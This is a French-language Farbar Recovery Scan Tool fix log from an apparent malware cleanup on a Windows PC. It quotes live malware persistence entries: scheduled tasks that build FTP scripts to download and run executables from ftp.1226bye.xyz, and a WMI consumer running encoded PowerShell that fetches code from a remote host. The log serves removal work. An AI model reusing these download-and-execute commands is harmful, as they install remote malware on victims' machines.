Résultats de correction de Farbar Recovery Scan Tool (x64) Version: 6.02.2019
Exécuté par seb (08-02-2019 11:15:29) Run:2
Exécuté depuis C:\Users\seb\Desktop
Profils chargés: seb (Profils disponibles: seb)
Mode d'amorçage: Safe Mode (with Networking)
==============================================

fixlist contenu:
*****************

CloseProcesses:
CreateRestorePoint:
HKLM-x32\...\Run: [start] => C:\Windows\SysWOW64\scrobj.dll [173568 2009-07-14] (Microsoft Windows -> Microsoft Corporation) <==== ATTENTION
HKLM-x32\...\RunOnce: [wextract_cleanup1] => rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\seb\AppData\Local\Temp\IXP001.TMP\" <==== ATTENTION
HKLM-x32\...\RunOnce: [wextract_cleanup0] => rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\seb\AppData\Local\Temp\IXP002.TMP\" <==== ATTENTION
HKLM-x32\...\RunOnce: [wextract_cleanup2] => rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\seb\AppData\Local\Temp\IXP003.TMP\" <==== ATTENTION
HKLM-x32\...\RunOnce: [wextract_cleanup3] => rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\seb\AppData\Local\Temp\IXP004.TMP\" <==== ATTENTION
HKLM-x32\...\RunOnce: [wextract_cleanup4] => rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Windows\TEMP\IXP000.TMP\" <==== ATTENTION
HKLM-x32\...\RunOnce: [wextract_cleanup5] => rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\seb\AppData\Local\Temp\IXP005.TMP\" <==== ATTENTION
HKLM-x32\...\RunOnce: [wextract_cleanup6] => rundll32.exe C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\seb\AppData\Local\Temp\IXP006.TMP\" <==== ATTENTION
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender: Restriction <==== ATTENTION
GroupPolicy: Restriction - Chrome <==== ATTENTION
HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{f389f567-6176-4f2f-ac37-b46e329c11fc} <==== ATTENTION (Restriction - IP)
ProxyServer: [S-1-5-21-538220665-914173731-789976379-1000] => 127.0.0.1:9666
SearchScopes: HKU\S-1-5-21-538220665-914173731-789976379-1000 -> {d944bb61-2e34-4dbf-a683-47e505c587dc} URL =
BHO-x32: Pas de nom -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> Pas de fichier
BHO-x32: Pas de nom -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> Pas de fichier
Toolbar: HKLM - Pas de nom - {CC1A175A-E45B-41ED-A30C-C9B1D7A0C02F} - Pas de fichier
Toolbar: HKU\S-1-5-21-538220665-914173731-789976379-1000 -> Pas de nom - {2318C2B1-4965-11D4-9B18-009027A5CD4F} - Pas de fichier
FF HKLM-x32\...\Firefox\Extensions: [FFPDFArchitectConverter@pdfarchitect.com] - C:\Program Files (x86)\PDF Architect\FFPDFArchitectExt => non trouvé(e)
FF HKLM-x32\...\Firefox\Extensions: [WSVCU@Wondershare.com] - C:\ProgramData\Wondershare\Video Converter Ultimate\WSVCU@Wondershare.com => non trouvé(e)
FF ExtraCheck: C:\Program Files (x86)\mozilla firefox\firefox.cfg [2013-12-30] <==== ATTENTION
S2 moohelp; C:\Program Files (x86)\The Cleaner\mhelper.exe [X]
HKU\S-1-5-21-538220665-914173731-789976379-1000\...\ChromeHTML: -> <==== ATTENTION
ShellIconOverlayIdentifiers: [00asw] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> Pas de fichier
ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => -> Pas de fichier
ContextMenuHandlers1: [AimersoftVideoConverterFileOpreation] -> {1AACB93E-AA97-47F1-BD02-8D2AF2815436} => -> Pas de fichier
ContextMenuHandlers1-x32: [WondershareVideoConverterFileOpreation] -> {FEB746CA-95C2-485F-B386-C30D4E56D22E} => C:\Windows\SysWOW64\WSCM64.dll -> Pas de fichier
Task: {6447C7DD-5646-495E-A558-59FF5F5631FC} - System32\Tasks\Mysa3 => cmd /c echo open ftp.1226bye.xyz>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe <==== ATTENTION
Task: {76247990-5A8F-4AE9-845D-3CC3573BA3FF} - \{2AC8BACC-1B7C-4A52-A929-0E4C58350019} -> Pas de fichier <==== ATTENTION
Task: {80E1B2CE-3A22-462A-AF2D-C4E58616A89C} - System32\Tasks\Mysa1 => rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa <==== ATTENTION
Task: {D918B4B5-DD41-4836-A3D8-C2D81540F797} - System32\Tasks\Mysa2 => cmd /c echo open ftp.1226bye.xyz>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p <==== ATTENTION
Task: {FD6E9B36-325E-48F3-A0A9-F9CEC2729588} - System32\Tasks\Mysa => cmd /c echo open ftp.1226bye.xyz>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe <==== ATTENTION
WMI:subscription\__FilterToConsumerBinding->CommandLineEventConsumer.Name=\"fuckyoumm4\"",Filter="__EventFilter.Name=\"fuckyoumm3\":: <==== ATTENTION
WMI:subscription\__TimerInstruction->fuckyoumm2_itimer:: <==== ATTENTION
WMI:subscription\__IntervalTimerInstruction->fuckyoumm2_itimer:: <==== ATTENTION
WMI:subscription\__EventFilter->fuckyoumm3::[Query => SELECT * FROM __InstanceModificationEvent WITHIN 10800 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'] <==== ATTENTION
WMI:subscription\CommandLineEventConsumer->fuckyoumm4::[CommandLineTemplate => cmd /c powershell.exe -nop -enc "JAB3AGMAPQBOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJAB3AGMALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AdwBtAGkALgAxADIAMQA3AGIAeQBlAC4AaABvAHMAdAAvADIALgB0AHgAdAAnACkALgB0AHIAaQBtACgAKQAgAC0AcwBwAGwAaQB (l'élément de données a 670 caractères en plus).] <==== ATTENTION
AlternateDataStreams: C:\ProgramData\Temp:0B4227B4 [146]
AlternateDataStreams: C:\ProgramData\Temp:5C321E34 [125]
AlternateDataStreams: C:\ProgramData\Temp:CB0AACC9 [150]
AlternateDataStreams: C:\ProgramData\Temp:D5FBE8F9 [256]
StartRegedit:
Windows Registry Editor Version 5.00
[-HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains]
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains]
@=""
[-HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\EscDomains]
[-HKEY_USERS\Software\Microsoft\Windows\CurrentVersion\Internet Settings\P3P]
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains]
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\Domains]
@=""
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\EscDomains]
[-HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\P3P]
EndRegedit:
EmptyTemp:
Hosts:
RemoveProxy:

*****************

Processus fermé avec succès.
Erreur: Un point de restauration ne peut être créé qu'en mode normal.
"HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\\start" => non trouvé(e)
"HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\\wextract_cleanup1" => non trouvé(e)
"HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\\wextract_cleanup0" => non trouvé(e)
"HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\\wextract_cleanup2" => non trouvé(e)
"HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\\wextract_cleanup3" => non trouvé(e)
"HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\\wextract_cleanup4" => non trouvé(e)
"HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\\wextract_cleanup5" => non trouvé(e)
"HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\\wextract_cleanup6" => non trouvé(e)
HKLM\SOFTWARE\Policies\Microsoft\Windows Defender => non trouvé(e)
"C:\Windows\system32\GroupPolicy\Machine" => non trouvé(e)
"HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local\\ActivePolicy" => non trouvé(e)
"HKU\S-1-5-21-538220665-914173731-789976379-1000\Software\Microsoft\Windows\CurrentVersion\Internet Settings\\ProxyServer" => non trouvé(e)
HKU\S-1-5-21-538220665-914173731-789976379-1000\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{d944bb61-2e34-4dbf-a683-47e505c587dc} => non trouvé(e)
HKLM\Software\Classes\CLSID\{d944bb61-2e34-4dbf-a683-47e505c587dc} => non trouvé(e)
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{761497BB-D6F0-462C-B6EB-D4DAF1D92D43} => non trouvé(e)
HKLM\Software\Wow6432Node\Classes\CLSID\{761497BB-D6F0-462C-B6EB-D4DAF1D92D43} => non trouvé(e)
HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects\{DBC80044-A445-435b-BC74-9C25C1C588A9} => non trouvé(e)
HKLM\Software\Wow6432Node\Classes\CLSID\{DBC80044-A445-435b-BC74-9C25C1C588A9} => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Internet Explorer\Toolbar\\{CC1A175A-E45B-41ED-A30C-C9B1D7A0C02F}" => non trouvé(e)
HKLM\Software\Classes\CLSID\{CC1A175A-E45B-41ED-A30C-C9B1D7A0C02F} => non trouvé(e)
"HKU\S-1-5-21-538220665-914173731-789976379-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser\\{2318C2B1-4965-11D4-9B18-009027A5CD4F}" => non trouvé(e)
HKLM\Software\Classes\CLSID\{2318C2B1-4965-11D4-9B18-009027A5CD4F} => non trouvé(e)
"HKLM\Software\Wow6432Node\Mozilla\Firefox\Extensions\\FFPDFArchitectConverter@pdfarchitect.com" => non trouvé(e)
"HKLM\Software\Wow6432Node\Mozilla\Firefox\Extensions\\WSVCU@Wondershare.com" => non trouvé(e)
"C:\Program Files (x86)\mozilla firefox\firefox.cfg" => non trouvé(e)
moohelp => service non trouvé(e).
HKU\S-1-5-21-538220665-914173731-789976379-1000_Classes\ChromeHTML => non trouvé(e)
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\00asw => non trouvé(e)
HKLM\Software\Classes\CLSID\{472083B0-C522-11CF-8763-00608CC02F24} => non trouvé(e)
HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\ShellIconOverlayIdentifiers\00avast => non trouvé(e)
HKLM\Software\Classes\CLSID\{472083B0-C522-11CF-8763-00608CC02F24} => non trouvé(e)
HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers\AimersoftVideoConverterFileOpreation => non trouvé(e)
HKLM\Software\Classes\CLSID\{1AACB93E-AA97-47F1-BD02-8D2AF2815436} => non trouvé(e)
HKLM\Software\Classes\*\ShellEx\ContextMenuHandlers\WondershareVideoConverterFileOpreation => non trouvé(e)
HKLM\Software\Wow6432Node\Classes\CLSID\{FEB746CA-95C2-485F-B386-C30D4E56D22E} => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{6447C7DD-5646-495E-A558-59FF5F5631FC}" => non trouvé(e)
"C:\Windows\System32\Tasks\Mysa3" => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Mysa3" => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{76247990-5A8F-4AE9-845D-3CC3573BA3FF}" => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{2AC8BACC-1B7C-4A52-A929-0E4C58350019}" => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{80E1B2CE-3A22-462A-AF2D-C4E58616A89C}" => non trouvé(e)
"C:\Windows\System32\Tasks\Mysa1" => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Mysa1" => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{D918B4B5-DD41-4836-A3D8-C2D81540F797}" => non trouvé(e)
"C:\Windows\System32\Tasks\Mysa2" => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Mysa2" => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{FD6E9B36-325E-48F3-A0A9-F9CEC2729588}" => non trouvé(e)
"C:\Windows\System32\Tasks\Mysa" => non trouvé(e)
"HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Mysa" => non trouvé(e)
"CommandLineEventConsumer.Name=\"fuckyoumm4\"",Filter="__EventFilter.Name=\"fuckyoumm3\"" => non trouvé(e)
"fuckyoumm2_itimer" => non trouvé(e)
"fuckyoumm2_itimer" => non trouvé(e)
"fuckyoumm3" => non trouvé(e)
"fuckyoumm4" => non trouvé(e)
"C:\ProgramData\Temp" => ":0B4227B4" ADS non trouvé(e).
"C:\ProgramData\Temp" => ":5C321E34" ADS non trouvé(e).
"C:\ProgramData\Temp" => ":CB0AACC9" ADS non trouvé(e).
"C:\ProgramData\Temp" => ":D5FBE8F9" ADS non trouvé(e).

====> Registre
C:\Windows\System32\Drivers\etc\hosts => déplacé(es) avec succès
Hosts restauré(es) avec succès.

========= RemoveProxy: =========

"HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => supprimé(es) avec succès
"HKU\S-1-5-21-538220665-914173731-789976379-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => supprimé(es) avec succès
"HKU\S-1-5-21-538220665-914173731-789976379-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => supprimé(es) avec succès


========= Fin de RemoveProxy: =========


=========== EmptyTemp: ==========

BITS transfer queue => 0 B
DOMStore, IE Recovery, AppCache, Feeds Cache, Thumbcache, IconCache => 261645 B
Java, Flash, Steam htmlcache => 0 B
Windows/system/drivers => 0 B
Edge => 0 B
Chrome => 0 B
Firefox => 407315176 B
Opera => 152276 B

Temp, IE cache, history, cookies, recent:
Users => 0 B
Default => 66228 B
Public => 0 B
ProgramData => 0 B
systemprofile => 200907968 B
systemprofile32 => 20256110 B
LocalService => 26662548 B
NetworkService => 66228 B
seb => 1795058831 B

RecycleBin => 0 B
EmptyTemp: => 2.3 GB données temporaires supprimées.

================================


Le système a dû redémarrer.

==== Fin de Fixlog 11:27:10 ====